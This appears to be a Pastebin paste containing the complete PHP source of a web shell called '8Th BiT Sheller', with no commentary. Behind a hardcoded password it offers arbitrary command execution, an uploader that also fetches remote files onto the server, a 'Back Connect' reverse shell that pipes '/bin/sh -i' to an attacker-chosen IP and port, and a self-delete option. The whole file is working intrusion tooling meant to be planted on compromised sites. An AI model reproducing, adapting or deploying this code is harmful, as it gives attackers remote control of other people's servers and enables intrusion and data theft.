Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- if(isset($_POST['lgn'])){
- $pw = '8thbit0xaf3';
- if($_POST['pw'] == $pw){
- $_SESSION['loggedin'] = 'ok';
- }
- }
- if(isset($_SESSION['loggedin']) && $_SESSION['loggedin']=="ok"):?>
- <?php
- function Shell_Url(){return $_SERVER['SCRIPT_NAME'];}function Shell($a){return Shell_Exec($a);}$b=dirname(__FILE__)."\\";$c=0;function printit($d){if(!$c){print"$d\n";}}?>
- <html>
- <head>
- <title>8Th BiT Sheller</title>
- <style>
- body{
- margin:0px 0px 0px 0px;
- padding:0px 0px 0px 0px;
- background-color:#2BBBD8;
- color:#FFF;
- font-family:Tahoma, Geneva, sans-serif;
- font-size:11px;
- }
- textarea{
- background-color: #102E37;
- color: #F78D3F;
- border: none;
- }
- input{
- background-color: #102E37;
- color: #F78D3F;
- border: none;
- }
- .nav{
- background-color:#102E37;
- float:left;
- position:relative;
- padding:10px 0px 10px 0px;
- width:100%;
- }
- ul.navbar{
- list-style-type:none;
- margin:0;
- padding:0;
- }
- ul.navbar li{
- display:inline;
- }
- li a{
- text-decoration : none;
- color:#fff;
- float:left;
- padding-left:5px;
- padding-right:5px;
- text-align:center;
- border-right:thin #fff;
- border-right-style:solid;
- }
- li:last-child a{
- border-right:none;
- border-right-style:none;
- }
- .page{
- padding-left:5px;
- padding-top:10px;
- padding-right:40px;
- float:left;
- position:relative;
- margin:0px auto;
- }
- </style>
- <script type="text/javascript">
- </script>
- </head>
- <body>
- <div class="nav">
- <ul class="navbar">
- <li> <a href="https://facebook.com/madleets.nameless" target="_new" title="8Th Bit Official Page">8Th BiT Page</a> </li>
- <li> <a href="http://madleets.com" target="_new" title="Madleets Official">Madleets</a> </li>
- <li> <a href="<?php echo(Shell_Url());?>">Shell Executer</a></li>
- <li> <a href="<?php echo(Shell_Url()."?p=upload");?>">File Uploader</a></li>
- <li> <a href="<?php echo(Shell_Url()."?p=bc");?>">Back Connect</a></li>
- <li> <a href="<?php echo(Shell_Url()."?p=nuke");?>">Nuke</a></li>
- <li> <a href="<?php echo(Shell_Url()."?p=logout");?>">Logout</a></li>
- </ul>
- </div>
- <div class="page">
- <?php
- if(isset($_GET['p'])){$e=$_GET['p'];if($e=='upload'):?>
- <?php $f='';if(isset($_POST['files'])){if(count($_FILES['f']['name'])>0){for($g=0;$g<count($_FILES['f']['name']);$g++){move_uploaded_file($_FILES['f']['tmp_name'][$g],dirname(__FILE__)."\\".$_FILES['f']['name'][$g]);$h=($b.$_FILES['f']['name'][$g]."\r\n");if($h!=$b."\r\n"){$f.=$h;}}}if(isset($_POST['remotefiles'])){$j=explode("\r\n",$_POST['remotefiles']);foreach($j as $k){if($k!=""&&$k!=" "){$m=substr($k,0,strpos($k,'^'));$n=substr($k,strpos($k,'^')+1);$o=file_get_contents($m);file_put_contents($b.$n,$o);$f.=$b.$n."\r\n";}}}}?>
- <form name="upload" method="post" enctype="multipart/form-data">
- <input type="hidden" name="files" value="1"/>
- <input multiple value="File Upload01" type="file" name="f[]" />
- <input type="submit" value="Upload" /><br><br>
- <textarea cols="50" rows="10" name="remotefiles" placeholder="http://example.com/file.txt^local.txt"></textarea> <br>
- <textarea readonly id="logs" rows="10" cols="50" name="logs"><?php if(isset($f)){echo $f;}?></textarea><br>
- </form>
- <?php elseif($e=='bc'):?>
- <?php
- if(isset($_POST['bc'])){set_time_limit(0);$q="1.0";$r=$_POST['ip'];$s=$_POST['port'];$t=1400;$u=null;$v=null;$w='uname -a; w; id; /bin/sh -i';$c=0;$x=0;if(function_exists('pcntl_fork')){$y=pcntl_fork();if($y==-1){printit("ERROR: Can't fork");exit(1);}if($y){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$c=1;}else{printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}chdir("/");umask(0);$z=fsockopen($r,$s,$aa,$bb,30);if(!$z){printit("$bb ($aa)");exit(1);}$cc=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$dd=proc_open($w,$cc,$ee);if(!is_resource($dd)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($ee[0],0);stream_set_blocking($ee[1],0);stream_set_blocking($ee[2],0);stream_set_blocking($z,0);printit("Successfully opened reverse shell to $r:$s");while(1){if(feof($z)){printit("ERROR: Shell connection terminated");break;}if(feof($ee[1])){printit("ERROR: Shell process terminated");break;}$ff=array($z,$ee[1],$ee[2]);$gg=stream_select($ff,$u,$v,null);if(in_array($z,$ff)){if($x)printit("SOCK READ");$hh=fread($z,$t);if($x)printit("SOCK: $hh");fwrite($ee[0],$hh);}if(in_array($ee[1],$ff)){if($x)printit("STDOUT READ");$hh=fread($ee[1],$t);if($x)printit("STDOUT: $hh");fwrite($z,$hh);}if(in_array($ee[2],$ff)){if($x)printit("STDERR READ");$hh=fread($ee[2],$t);if($x)printit("STDERR: $hh");fwrite($z,$hh);}}fclose($z);fclose($ee[0]);fclose($ee[1]);fclose($ee[2]);proc_close($dd);}?>
- <form name="backconnect" method="post">
- <input type="hidden" name="bc" value="1"/>
- <input type="text" name="ip" placeholder="2.180.100.10" />
- <input type="number" name="port" placeholder="PORT" />
- <input type="submit" value="Connect!" /><br><br>
- </form>
- <?php elseif($e=='nuke'):?>
- <?php if(isset($_POST['nuke'])){unlink($_SERVER['SCRIPT_FILENAME']);}?>
- <form name="Nuke" method="post" >
- <input type="hidden" name="nuke" value="1" />
- <textarea readonly id="message" rows="1" cols="50" name="nukemessage">Do You Want Remove The Shell?</textarea><br>
- <input style="width: 50px;margin-left: 5px;" autofocus type="submit" name="submit" value="Yes" width="50px"/>
- </form>
- <?php elseif($e=='logout'):?>
- <?php
- $_SESSION['loggedin']="123";unset($_SESSION['loggedin']);header("Location: ".Shell_Url());?>
- <?php endif;?>
- <?php
- }else{?>
- <form name="executer" method="post" >
- <input type="hidden" name="exec" value="1" />
- <textarea readonly id="res" rows="20" cols="80" name="txtarea"> <?php
- if(isset($_POST['exec'])&&$_POST['exec']=='1'){$ii=$_POST['txtarea'];if($_POST['command']=="cls"||$_POST['command']=="clear"){$ii='';}else{$jj=Shell($_POST['command']);$ii=$ii.$jj;}echo($ii);}?></textarea><br>
- <input style="margin-left:1px;width:600px;" name="command" type="text" required autofocus autocomplete="off"/>
- <input style="width: 50px;margin-left: 5px;" type="submit" name="submit" value="Exec" width="50px"/>
- </form>
- <?php }?>
- </div>
- </body>
- </html>
- <?php else:?>
- <div style="margin:30px auto;">
- <form name="login" method="post" >
- <input type="hidden" name="lgn"/>
- <input type="password" name="pw" />
- <input type="submit" value="Login" />
- </form>
- </div>
- <?php endif;?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement